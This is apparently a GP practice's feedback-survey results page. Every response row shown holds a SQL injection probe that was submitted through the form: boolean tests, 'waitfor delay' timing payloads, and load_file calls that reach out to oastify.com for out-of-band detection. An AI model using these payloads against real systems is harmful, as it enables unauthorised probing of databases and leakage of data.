Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good46432455′ or ‘1248’=’1248 | [10] | [11] | July 4, 2023 at 6:07 am |
Very good’)waitfor delay’0:0:20′– | [10] | [11] | July 4, 2023 at 6:07 am |
Very good’ waitfor delay’0:0:20′– | [10] | [11] | July 4, 2023 at 6:07 am |
Very good’+(select load_file(‘\9lvmsscfcd1jzzxiicrtjnmjcaie67wvnybqynmc.oastify.comeux’))+’ | [10] | [11] | July 4, 2023 at 6:07 am |
(select load_file(‘\ni90p69t9ryxwduwfqo7g1jx9ofs3lt9kb83v0jp.oastify.comyio’)) | [10] | [11] | July 4, 2023 at 6:07 am |
